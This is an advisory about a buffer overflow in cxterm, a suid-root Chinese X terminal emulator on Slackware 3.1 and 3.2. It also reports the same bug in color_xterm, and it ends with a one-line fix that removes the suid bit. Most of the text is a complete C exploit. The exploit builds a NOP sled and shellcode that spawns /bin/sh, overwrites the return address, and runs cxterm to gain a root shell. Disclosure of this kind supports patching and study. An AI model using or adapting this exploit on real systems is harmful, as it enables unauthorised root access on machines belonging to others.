COMMAND

    cxterm

SYSTEMS AFFECTED

    Slackware 3.1, 3.2

PROBLEM

    cxterm is  a Chinese  terminal emulator  for the  X Window System.
    It's installed as suid-root by default if you did a make  install.
    Just  like   xterm,  it   does  needs   to  be   suid  to   update
    /etc/utmp...blahblah...

    Ming Zhang discovered  some buffer overflow  bugs in it.  The code
    attached below is the exploit.

    /*

    cxterm buffer overflow exploit for Linux.  This code is tested  on
    both Slackware 3.1 and 3.2.

                                        Ming Zhang
                                        mzhang@softcom.net
    */
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>

    #define CXTERM_PATH "/usr/X11R6/bin/cxterm"
    #define BUFFER_SIZE 1024
    #define DEFAULT_OFFSET 50

    #define NOP_SIZE 1
    char nop[] = "\x90";
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc,char **argv)
    {
       char *buff = NULL;
       unsigned long *addr_ptr = NULL;
       char *ptr = NULL;
       int i,OffSet = DEFAULT_OFFSET;

    /* use a different offset if you find this program doesn't do the job */
       if (argc>1) OffSet = atoi(argv[1]);

       buff = malloc(2048);
       if(!buff)
       {
          printf("Buy more RAM!\n");
          exit(0);
       }
       ptr = buff;

       for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
    i+=NOP_SIZE) {
            memcpy (ptr,nop,NOP_SIZE);
            ptr+=NOP_SIZE;
       }

       for(i=0;i < strlen(shellcode);i++)
          *(ptr++) = shellcode[i];

       addr_ptr = (long *)ptr;
       for(i=0;i < (8/4);i++)
          *(addr_ptr++) = get_sp() + OffSet;
       ptr = (char *)addr_ptr;
       *ptr = 0;
       (void) fprintf(stderr,
             "This bug is discovered by Ming Zhang
    (mzhang@softcom.net)\n");
        /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
        execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
    }

    Sergiusz Fonrobert  reported that  same bug  exits in color_xterm.
    It was tested with exploit on Slackware 3.1 and it worked.
SOLUTION

    Quick fix?

        chmod -s /path/cxterm